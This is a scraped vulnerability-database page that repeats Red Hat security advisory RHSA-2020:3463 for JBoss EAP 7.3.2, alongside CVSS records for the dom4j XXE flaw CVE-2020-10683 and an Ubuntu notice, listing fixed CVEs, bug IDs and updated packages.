In general, a standard system update will make all the necessary changes. The purpose of this text-only errata is to inform you about the security issues fixed in this release.
Installation instructions are available from the Fuse 7.8.0 product documentation page: https://access.redhat.com/documentation/en-us/red_hat_fuse/7.8/
- -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
====================================================================
Red Hat Security Advisory
Synopsis: Important: Red Hat JBoss Enterprise Application Platform 7.3.2 security update Advisory ID: RHSA-2020:3463-01 Product: Red Hat JBoss Enterprise Application Platform Advisory URL: https://access.redhat.com/errata/RHSA-2020:3463 Issue date: 2020-08-17 CVE Names: CVE-2019-14900 CVE-2020-1710 CVE-2020-1748 CVE-2020-10672 CVE-2020-10673 CVE-2020-10683 CVE-2020-10687 CVE-2020-10693 CVE-2020-10714 CVE-2020-10718 CVE-2020-10740 CVE-2020-14297 ==================================================================== 1. Summary:
An update is now available for Red Hat JBoss Enterprise Application Platform 7.3 for Red Hat Enterprise Linux 8.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Relevant releases/architectures:
Red Hat JBoss EAP 7.3 for BaseOS-8 - noarch
- Description:
Red Hat JBoss Enterprise Application Platform 7 is a platform for Java applications based on the WildFly application runtime.
This release of Red Hat JBoss Enterprise Application Platform 7.3.2 serves as a replacement for Red Hat JBoss Enterprise Application Platform 7.3.1 and includes bug fixes and enhancements. See the Red Hat JBoss Enterprise Application Platform 7.3.2 Release Notes for information about the most significant bug fixes and enhancements included in this release.
Security Fix(es):
-
wildfly: exposed setting of TCCL via the EmbeddedManagedProcess API (CVE-2020-10718)
-
dom4j: XML External Entity vulnerability in default SAX parser (CVE-2020-10683)
-
wildfly-elytron: session fixation when using FORM authentication (CVE-2020-10714)
-
wildfly-undertow: Undertow: Incomplete fix for CVE-2017-2666 due to permitting invalid characters in HTTP requests (CVE-2020-10687)
-
jackson-databind: mishandles the interaction between serialization gadgets and typing which could result in remote command execution (CVE-2020-10673)
-
hibernate-core: hibernate: SQL injection issue in Hibernate ORM (CVE-2019-14900)
-
wildfly: unsafe deserialization in Wildfly Enterprise Java Beans (CVE-2020-10740)
-
jackson-databind: mishandles the interaction between serialization gadgets and typing which could result in remote command execution (CVE-2020-10672)
-
undertow: EAP: field-name is not parsed in accordance to RFC7230 (CVE-2020-1710)
-
hibernate-validator: Improper input validation in the interpolation of constraint error messages (CVE-2020-10693)
-
wildfly: Improper authorization issue in WildFlySecurityManager when using alternative protection domain (CVE-2020-1748)
-
wildfly: Some EJB transaction objects may get accumulated causing Denial of Service (CVE-2020-14297)
For more details about the security issue(s), including the impact, a CVSS score, and other related information, see the CVE page(s) listed in the References section.
- Solution:
Before applying this update, ensure all previously released errata relevant to your system have been applied.
For details about how to apply this update, see:
https://access.redhat.com/articles/11258
- Bugs fixed (https://bugzilla.redhat.com/):
1666499 - CVE-2019-14900 hibernate: SQL injection issue in Hibernate ORM 1694235 - CVE-2020-10683 dom4j: XML External Entity vulnerability in default SAX parser 1785049 - CVE-2020-10687 Undertow: Incomplete fix for CVE-2017-2666 due to permitting invalid characters in HTTP requests 1793970 - CVE-2020-1710 EAP: field-name is not parsed in accordance to RFC7230 1805501 - CVE-2020-10693 hibernate-validator: Improper input validation in the interpolation of constraint error messages 1807707 - CVE-2020-1748 Wildfly: Improper authorization issue in WildFlySecurityManager when using alternative protection domain 1815470 - CVE-2020-10673 jackson-databind: mishandles the interaction between serialization gadgets and typing which could result in remote command execution 1815495 - CVE-2020-10672 jackson-databind: mishandles the interaction between serialization gadgets and typing which could result in remote command execution 1825714 - CVE-2020-10714 wildfly-elytron: session fixation when using FORM authentication 1828476 - CVE-2020-10718 wildfly: exposed setting of TCCL via the EmbeddedManagedProcess API 1834512 - CVE-2020-10740 wildfly: unsafe deserialization in Wildfly Enterprise Java Beans 1853595 - CVE-2020-14297 wildfly: Some EJB transaction objects may get accumulated causing Denial of Service
- JIRA issues fixed (https://issues.jboss.org/):
JBEAP-18793 - GSS Upgrade Hibernate ORM from 5.3.16 to 5.3.17 JBEAP-19095 - GSS Upgrade wildfly-http-client from 1.0.20 to 1.0.21 JBEAP-19134 - (7.3.z) Upgrade HAL from 3.2.8.Final-redhat-00001 to 3.2.9.Final JBEAP-19185 - (7.3.z) Upgrade IronJacamar from 1.4.20.Final to 1.4.22.Final JBEAP-19203 - (7.3.z) WFCORE-4850 - Updating mockserver to 5.9.0. Exclusion of dependency from xom.io7m JBEAP-19205 - (7.3.z) Upgrade WildFly Core from 10.1.5.Final-redhat-00001 to 10.1.x JBEAP-19269 - GSS Upgrade jboss-logmanager from 2.1.14.Final to 2.1.15.Final JBEAP-19322 - (7.3.z) Upgrade XNIO from 3.7.7 to 3.7.8.SP1 JBEAP-19325 - (7.3.z) Upgrade Infinispan from 9.4.18.Final-redhat-00001 to 9.4.19.Final-redhat-00001 JBEAP-19397 - (7.3.z) Upgrade JSF based on Mojarra 2.3.9.SP09-redhat-00001 to 2.3.9.SP11-redhat-00001 JBEAP-19410 - Tracker bug for the EAP 7.3.2 release for RHEL-7 JBEAP-19411 - Tracker bug for the EAP 7.3.2 release for RHEL-8 JBEAP-19529 - (7.3.z) Update PR template to include PR-processor hints. JBEAP-19564 - GSS Upgrade jboss-ejb-client from 4.0.31.Final-redhat-00001 to 4.0.33.Final-redhat-00001 JBEAP-19585 - GSS Upgrade org.jboss.genericjms from 2.0.4 to 2.0.6 JBEAP-19617 - (7.3.z) Upgrade wildfly-naming-client from 1.0.12.Final-redhat-00001 to 1.0.13.Final-redhat-00001 JBEAP-19619 - (7.3.z) Upgrade JBoss JSF API from 3.0.0.SP02-redhat-00001 to 3.0.0.SP04-redhat-00001 JBEAP-19673 - (7.3.z) [WFCORE] Upgrade WildFly Common to 1.5.2.Final JBEAP-19674 - (7.3.z) [WFCORE] Upgrade galleon and wildfly-galleon-plugins from 4.1.2.Final to 4.2.4.Final JBEAP-19874 - GSS Upgrade wildfly-http-client from 1.0.21.Final-redhat-00001 to 1.0.22.Final-redhat-00001
- Package List:
Red Hat JBoss EAP 7.3 for BaseOS-8:
Source: eap7-dom4j-2.1.3-1.redhat_00001.1.el8eap.src.rpm eap7-elytron-web-1.6.2-1.Final_redhat_00001.1.el8eap.src.rpm eap7-glassfish-jsf-2.3.9-11.SP11_redhat_00001.1.el8eap.src.rpm eap7-hal-console-3.2.9-1.Final_redhat_00001.1.el8eap.src.rpm eap7-hibernate-5.3.17-1.Final_redhat_00001.1.el8eap.src.rpm eap7-hibernate-validator-6.0.20-1.Final_redhat_00001.1.el8eap.src.rpm eap7-infinispan-9.4.19-1.Final_redhat_00001.1.el8eap.src.rpm eap7-ironjacamar-1.4.22-1.Final_redhat_00001.1.el8eap.src.rpm eap7-jackson-annotations-2.10.4-1.redhat_00001.1.el8eap.src.rpm eap7-jackson-core-2.10.4-1.redhat_00001.1.el8eap.src.rpm eap7-jackson-databind-2.10.4-1.redhat_00001.1.el8eap.src.rpm eap7-jackson-jaxrs-providers-2.10.4-1.redhat_00001.1.el8eap.src.rpm eap7-jackson-modules-base-2.10.4-1.redhat_00001.1.el8eap.src.rpm eap7-jackson-modules-java8-2.10.4-1.redhat_00001.1.el8eap.src.rpm eap7-jboss-genericjms-2.0.6-1.Final_redhat_00001.1.el8eap.src.rpm eap7-jboss-jsf-api_2.3_spec-3.0.0-4.SP04_redhat_00001.1.el8eap.src.rpm eap7-jboss-logmanager-2.1.15-1.Final_redhat_00001.1.el8eap.src.rpm eap7-jboss-server-migration-1.7.1-7.Final_redhat_00009.1.el8eap.src.rpm eap7-jboss-xnio-base-3.7.8-1.SP1_redhat_00001.1.el8eap.src.rpm eap7-netty-4.1.48-1.Final_redhat_00001.1.el8eap.src.rpm eap7-undertow-2.0.30-4.SP4_redhat_00001.1.el8eap.src.rpm eap7-wildfly-7.3.2-4.GA_redhat_00002.1.el8eap.src.rpm eap7-wildfly-common-1.5.2-1.Final_redhat_00002.1.el8eap.src.rpm eap7-wildfly-elytron-1.10.7-1.Final_redhat_00001.1.el8eap.src.rpm eap7-wildfly-http-client-1.0.22-1.Final_redhat_00001.1.el8eap.src.rpm
noarch: eap7-dom4j-2.1.3-1.redhat_00001.1.el8eap.noarch.rpm eap7-glassfish-jsf-2.3.9-11.SP11_redhat_00001.1.el8eap.noarch.rpm eap7-hal-console-3.2.9-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-hibernate-5.3.17-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-hibernate-core-5.3.17-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-hibernate-entitymanager-5.3.17-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-hibernate-envers-5.3.17-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-hibernate-java8-5.3.17-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-hibernate-validator-6.0.20-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-hibernate-validator-cdi-6.0.20-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-infinispan-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-infinispan-cachestore-jdbc-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-infinispan-cachestore-remote-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-infinispan-client-hotrod-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-infinispan-commons-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-infinispan-core-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-infinispan-hibernate-cache-commons-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-infinispan-hibernate-cache-spi-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-infinispan-hibernate-cache-v53-9.4.19-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-ironjacamar-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-ironjacamar-common-api-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-ironjacamar-common-impl-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-ironjacamar-common-spi-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-ironjacamar-core-api-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-ironjacamar-core-impl-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-ironjacamar-deployers-common-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-ironjacamar-jdbc-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-ironjacamar-validator-1.4.22-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-jackson-annotations-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm eap7-jackson-core-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm eap7-jackson-databind-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm eap7-jackson-datatype-jdk8-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm eap7-jackson-datatype-jsr310-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm eap7-jackson-jaxrs-base-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm eap7-jackson-jaxrs-json-provider-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm eap7-jackson-module-jaxb-annotations-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm eap7-jackson-modules-base-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm eap7-jackson-modules-java8-2.10.4-1.redhat_00001.1.el8eap.noarch.rpm eap7-jboss-genericjms-2.0.6-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-jboss-jsf-api_2.3_spec-3.0.0-4.SP04_redhat_00001.1.el8eap.noarch.rpm eap7-jboss-logmanager-2.1.15-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-jboss-server-migration-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-cli-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-core-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-eap6.4-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-eap6.4-to-eap7.3-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-eap7.0-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-eap7.1-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-eap7.2-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-eap7.2-to-eap7.3-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-eap7.3-server-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly10.0-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly10.1-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly11.0-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly12.0-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly13.0-server-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly14.0-server-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly15.0-server-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly16.0-server-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly17.0-server-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly18.0-server-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly8.2-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-server-migration-wildfly9.0-1.7.1-7.Final_redhat_00009.1.el8eap.noarch.rpm eap7-jboss-xnio-base-3.7.8-1.SP1_redhat_00001.1.el8eap.noarch.rpm eap7-netty-4.1.48-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-netty-all-4.1.48-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-undertow-2.0.30-4.SP4_redhat_00001.1.el8eap.noarch.rpm eap7-undertow-server-1.6.2-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-wildfly-7.3.2-4.GA_redhat_00002.1.el8eap.noarch.rpm eap7-wildfly-common-1.5.2-1.Final_redhat_00002.1.el8eap.noarch.rpm eap7-wildfly-elytron-1.10.7-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-wildfly-elytron-tool-1.10.7-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-wildfly-http-client-common-1.0.22-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-wildfly-http-ejb-client-1.0.22-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-wildfly-http-naming-client-1.0.22-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-wildfly-http-transaction-client-1.0.22-1.Final_redhat_00001.1.el8eap.noarch.rpm eap7-wildfly-javadocs-7.3.2-4.GA_redhat_00002.1.el8eap.noarch.rpm eap7-wildfly-modules-7.3.2-4.GA_redhat_00002.1.el8eap.noarch.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2019-14900 https://access.redhat.com/security/cve/CVE-2020-1710 https://access.redhat.com/security/cve/CVE-2020-1748 https://access.redhat.com/security/cve/CVE-2020-10672 https://access.redhat.com/security/cve/CVE-2020-10673 https://access.redhat.com/security/cve/CVE-2020-10683 https://access.redhat.com/security/cve/CVE-2020-10687 https://access.redhat.com/security/cve/CVE-2020-10693 https://access.redhat.com/security/cve/CVE-2020-10714 https://access.redhat.com/security/cve/CVE-2020-10718 https://access.redhat.com/security/cve/CVE-2020-10740 https://access.redhat.com/security/cve/CVE-2020-14297 https://access.redhat.com/security/updates/classification/#important https://access.redhat.com/documentation/en-us/red_hat_jboss_enterprise_application_platform/7.3/ https://access.redhat.com/documentation/en-us/red_hat_jboss_enterprise_application_platform/7.3/html-single/installation_guide/
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . Description:
Red Hat Decision Manager is an open source decision management platform that combines business rules management, complex event processing, Decision Model & Notation (DMN) execution, and Business Optimizer for solving planning problems. It automates business decisions and makes that logic available to the entire business.
It is recommended to halt the server by stopping the JBoss Application Server process before installing this update; after installing the update, restart the server by starting the JBoss Application Server process.
The References section of this erratum contains a download link (you must log in to download the update)
Show details on source website{
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"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "VHN-163186",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2020-10683",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 9.8,
"baseSeverity": "Critical",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "JVNDB-2020-004997",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2020-10683",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "JVNDB-2020-004997",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNNVD",
"id": "CNNVD-202004-1133",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-163186",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2020-10683",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-163186"
},
{
"db": "VULMON",
"id": "CVE-2020-10683"
},
{
"db": "CNNVD",
"id": "CNNVD-202004-1133"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-004997"
},
{
"db": "NVD",
"id": "CVE-2020-10683"
}
]
},
"description": {
"_id": null,
"data": "dom4j before 2.0.3 and 2.1.x before 2.1.3 allows external DTDs and External Entities by default, which might enable XXE attacks. However, there is popular external documentation from OWASP showing how to enable the safe, non-default behavior in any application that uses dom4j. dom4j To XML There is a vulnerability in an external entity.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. dom4j is an open source framework for processing XML. A code issue vulnerability exists in dom4j versions prior to 2.0.3 and 2.1.x versions prior to 2.1.3. This vulnerability stems from improper design or implementation problems in the code development process of network systems or products. ==========================================================================\nUbuntu Security Notice USN-4575-1\nOctober 13, 2020\n\ndom4j vulnerability\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 16.04 LTS\n\nSummary:\n\ndom4j could be made to expose sensitive information or run programs if it\nreceived specially crafted input. \n\nSoftware Description:\n- dom4j: Flexible XML framework for Java\n\nDetails:\n\nIt was discovered that dom4j incorrectly handled reading XML data. A\nremote attacker could exploit this with a crafted XML file to expose\nsensitive data or possibly execute arbitrary code. (CVE-2020-10683)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 16.04 LTS:\n libdom4j-java 1.6.1+dfsg.3-2ubuntu1.1\n\nIn general, a standard system update will make all the necessary changes. \nThe purpose of this text-only errata is to inform you about the security\nissues fixed in this release. \n\nInstallation instructions are available from the Fuse 7.8.0 product\ndocumentation page:\nhttps://access.redhat.com/documentation/en-us/red_hat_fuse/7.8/\n\n4. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n==================================================================== \nRed Hat Security Advisory\n\nSynopsis: Important: Red Hat JBoss Enterprise Application Platform 7.3.2 security update\nAdvisory ID: RHSA-2020:3463-01\nProduct: Red Hat JBoss Enterprise Application Platform\nAdvisory URL: https://access.redhat.com/errata/RHSA-2020:3463\nIssue date: 2020-08-17\nCVE Names: CVE-2019-14900 CVE-2020-1710 CVE-2020-1748\n CVE-2020-10672 CVE-2020-10673 CVE-2020-10683\n CVE-2020-10687 CVE-2020-10693 CVE-2020-10714\n CVE-2020-10718 CVE-2020-10740 CVE-2020-14297\n====================================================================\n1. Summary:\n\nAn update is now available for Red Hat JBoss Enterprise Application\nPlatform 7.3 for Red Hat Enterprise Linux 8. \n\nRed Hat Product Security has rated this update as having a security impact\nof Important. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat JBoss EAP 7.3 for BaseOS-8 - noarch\n\n3. Description:\n\nRed Hat JBoss Enterprise Application Platform 7 is a platform for Java\napplications based on the WildFly application runtime. \n\nThis release of Red Hat JBoss Enterprise Application Platform 7.3.2 serves\nas a replacement for Red Hat JBoss Enterprise Application Platform 7.3.1\nand includes bug fixes and enhancements. See the Red Hat JBoss Enterprise\nApplication Platform 7.3.2 Release Notes for information about the most\nsignificant bug fixes and enhancements included in this release. \n\nSecurity Fix(es):\n\n* wildfly: exposed setting of TCCL via the EmbeddedManagedProcess API\n(CVE-2020-10718)\n\n* dom4j: XML External Entity vulnerability in default SAX parser\n(CVE-2020-10683)\n\n* wildfly-elytron: session fixation when using FORM authentication\n(CVE-2020-10714)\n\n* wildfly-undertow: Undertow: Incomplete fix for CVE-2017-2666 due to\npermitting invalid characters in HTTP requests (CVE-2020-10687)\n\n* jackson-databind: mishandles the interaction between serialization\ngadgets and typing which could result in remote command execution\n(CVE-2020-10673)\n\n* hibernate-core: hibernate: SQL injection issue in Hibernate ORM\n(CVE-2019-14900)\n\n* wildfly: unsafe deserialization in Wildfly Enterprise Java Beans\n(CVE-2020-10740)\n\n* jackson-databind: mishandles the interaction between serialization\ngadgets and typing which could result in remote command execution\n(CVE-2020-10672)\n\n* undertow: EAP: field-name is not parsed in accordance to RFC7230\n(CVE-2020-1710)\n\n* hibernate-validator: Improper input validation in the interpolation of\nconstraint error messages (CVE-2020-10693)\n\n* wildfly: Improper authorization issue in WildFlySecurityManager when\nusing alternative protection domain (CVE-2020-1748)\n\n* wildfly: Some EJB transaction objects may get accumulated causing Denial\nof Service (CVE-2020-14297)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, and other related information, see the CVE page(s) listed in the\nReferences section. \n\n4. Solution:\n\nBefore applying this update, ensure all previously released errata relevant\nto your system have been applied. \n\nFor details about how to apply this update, see:\n\nhttps://access.redhat.com/articles/11258\n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1666499 - CVE-2019-14900 hibernate: SQL injection issue in Hibernate ORM\n1694235 - CVE-2020-10683 dom4j: XML External Entity vulnerability in default SAX parser\n1785049 - CVE-2020-10687 Undertow: Incomplete fix for CVE-2017-2666 due to permitting invalid characters in HTTP requests\n1793970 - CVE-2020-1710 EAP: field-name is not parsed in accordance to RFC7230\n1805501 - CVE-2020-10693 hibernate-validator: Improper input validation in the interpolation of constraint error messages\n1807707 - CVE-2020-1748 Wildfly: Improper authorization issue in WildFlySecurityManager when using alternative protection domain\n1815470 - CVE-2020-10673 jackson-databind: mishandles the interaction between serialization gadgets and typing which could result in remote command execution\n1815495 - CVE-2020-10672 jackson-databind: mishandles the interaction between serialization gadgets and typing which could result in remote command execution\n1825714 - CVE-2020-10714 wildfly-elytron: session fixation when using FORM authentication\n1828476 - CVE-2020-10718 wildfly: exposed setting of TCCL via the EmbeddedManagedProcess API\n1834512 - CVE-2020-10740 wildfly: unsafe deserialization in Wildfly Enterprise Java Beans\n1853595 - CVE-2020-14297 wildfly: Some EJB transaction objects may get accumulated causing Denial of Service\n\n6. JIRA issues fixed (https://issues.jboss.org/):\n\nJBEAP-18793 - [GSS](7.3.z) Upgrade Hibernate ORM from 5.3.16 to 5.3.17\nJBEAP-19095 - [GSS](7.3.z) Upgrade wildfly-http-client from 1.0.20 to 1.0.21\nJBEAP-19134 - (7.3.z) Upgrade HAL from 3.2.8.Final-redhat-00001 to 3.2.9.Final\nJBEAP-19185 - (7.3.z) Upgrade IronJacamar from 1.4.20.Final to 1.4.22.Final\nJBEAP-19203 - (7.3.z) WFCORE-4850 - Updating mockserver to 5.9.0. Exclusion of dependency from xom.io7m\nJBEAP-19205 - (7.3.z) Upgrade WildFly Core from 10.1.5.Final-redhat-00001 to 10.1.x\nJBEAP-19269 - [GSS](7.3.z) Upgrade jboss-logmanager from 2.1.14.Final to 2.1.15.Final\nJBEAP-19322 - (7.3.z) Upgrade XNIO from 3.7.7 to 3.7.8.SP1\nJBEAP-19325 - (7.3.z) Upgrade Infinispan from 9.4.18.Final-redhat-00001 to 9.4.19.Final-redhat-00001\nJBEAP-19397 - (7.3.z) Upgrade JSF based on Mojarra 2.3.9.SP09-redhat-00001 to 2.3.9.SP11-redhat-00001\nJBEAP-19410 - Tracker bug for the EAP 7.3.2 release for RHEL-7\nJBEAP-19411 - Tracker bug for the EAP 7.3.2 release for RHEL-8\nJBEAP-19529 - (7.3.z) Update PR template to include PR-processor hints. \nJBEAP-19564 - [GSS](7.3.z) Upgrade jboss-ejb-client from 4.0.31.Final-redhat-00001 to 4.0.33.Final-redhat-00001\nJBEAP-19585 - [GSS](7.3.z) Upgrade org.jboss.genericjms from 2.0.4 to 2.0.6\nJBEAP-19617 - (7.3.z) Upgrade wildfly-naming-client from 1.0.12.Final-redhat-00001 to 1.0.13.Final-redhat-00001\nJBEAP-19619 - (7.3.z) Upgrade JBoss JSF API from 3.0.0.SP02-redhat-00001 to 3.0.0.SP04-redhat-00001\nJBEAP-19673 - (7.3.z) [WFCORE] Upgrade WildFly Common to 1.5.2.Final\nJBEAP-19674 - (7.3.z) [WFCORE] Upgrade galleon and wildfly-galleon-plugins from 4.1.2.Final to 4.2.4.Final\nJBEAP-19874 - [GSS](7.3.z) Upgrade wildfly-http-client from 1.0.21.Final-redhat-00001 to 1.0.22.Final-redhat-00001\n\n7. Package List:\n\nRed Hat JBoss EAP 7.3 for BaseOS-8:\n\nSource:\neap7-dom4j-2.1.3-1.redhat_00001.1.el8eap.src.rpm\neap7-elytron-web-1.6.2-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-glassfish-jsf-2.3.9-11.SP11_redhat_00001.1.el8eap.src.rpm\neap7-hal-console-3.2.9-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-hibernate-5.3.17-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-hibernate-validator-6.0.20-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-infinispan-9.4.19-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-ironjacamar-1.4.22-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-jackson-annotations-2.10.4-1.redhat_00001.1.el8eap.src.rpm\neap7-jackson-core-2.10.4-1.redhat_00001.1.el8eap.src.rpm\neap7-jackson-databind-2.10.4-1.redhat_00001.1.el8eap.src.rpm\neap7-jackson-jaxrs-providers-2.10.4-1.redhat_00001.1.el8eap.src.rpm\neap7-jackson-modules-base-2.10.4-1.redhat_00001.1.el8eap.src.rpm\neap7-jackson-modules-java8-2.10.4-1.redhat_00001.1.el8eap.src.rpm\neap7-jboss-genericjms-2.0.6-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-jboss-jsf-api_2.3_spec-3.0.0-4.SP04_redhat_00001.1.el8eap.src.rpm\neap7-jboss-logmanager-2.1.15-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-jboss-server-migration-1.7.1-7.Final_redhat_00009.1.el8eap.src.rpm\neap7-jboss-xnio-base-3.7.8-1.SP1_redhat_00001.1.el8eap.src.rpm\neap7-netty-4.1.48-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-undertow-2.0.30-4.SP4_redhat_00001.1.el8eap.src.rpm\neap7-wildfly-7.3.2-4.GA_redhat_00002.1.el8eap.src.rpm\neap7-wildfly-common-1.5.2-1.Final_redhat_00002.1.el8eap.src.rpm\neap7-wildfly-elytron-1.10.7-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-wildfly-http-client-1.0.22-1.Final_redhat_00001.1.el8eap.src.rpm\n\nnoarch:\neap7-dom4j-2.1.3-1.redhat_00001.1.el8eap.noarch.rpm\neap7-glassfish-jsf-2.3.9-11.SP11_redhat_00001.1.el8eap.noarch.rpm\neap7-hal-console-3.2.9-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-hibernate-5.3.17-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-hibernate-core-5.3.17-1.Fina